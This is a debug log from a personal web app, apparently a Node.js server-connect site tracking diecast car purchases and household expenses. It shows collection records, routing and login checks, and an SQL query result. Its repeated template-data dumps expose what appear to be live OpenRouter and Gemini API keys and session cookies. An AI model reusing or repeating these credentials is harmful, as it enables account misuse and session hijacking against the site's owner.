      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:03:15.095Z server-connect:router Serving templateView /
2026-02-04T07:03:15.095Z server-connect:app Executing action step identify
2026-02-04T07:03:15.095Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:15.095Z server-connect:output identity: 1
2026-02-04T07:03:15.095Z server-connect:app Executing action step restrict
2026-02-04T07:03:15.095Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:15.096Z server-connect:output restrict: undefined
2026-02-04T07:03:15.096Z server-connect:app Executing action step restrict
2026-02-04T07:03:15.096Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:15.096Z server-connect:output restrict: undefined
2026-02-04T07:03:15.096Z server-connect:router Render template layouts/main
2026-02-04T07:03:15.096Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:03:34.968Z server-connect:router Serving templateView /diecast
2026-02-04T07:03:34.968Z server-connect:app Executing action step identify
2026-02-04T07:03:34.968Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:34.968Z server-connect:output identity: 1
2026-02-04T07:03:34.968Z server-connect:app Executing action step restrict
2026-02-04T07:03:34.968Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:03:34.969Z server-connect:output restrict: undefined
2026-02-04T07:03:34.969Z server-connect:router Render template layouts/main
2026-02-04T07:03:34.969Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:03:35.963Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:03:35.963Z server-connect:app Executing action step identify
2026-02-04T07:03:35.963Z server-connect:app options: { provider: 'security' }
2026-02-04T07:03:35.963Z server-connect:output identity: 1
2026-02-04T07:03:35.963Z server-connect:app Executing action step restrict
2026-02-04T07:03:35.963Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:03:35.964Z server-connect:output restrict: undefined
2026-02-04T07:03:35.964Z server-connect:app Executing action step select
2026-02-04T07:03:35.964Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:03:35.967Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
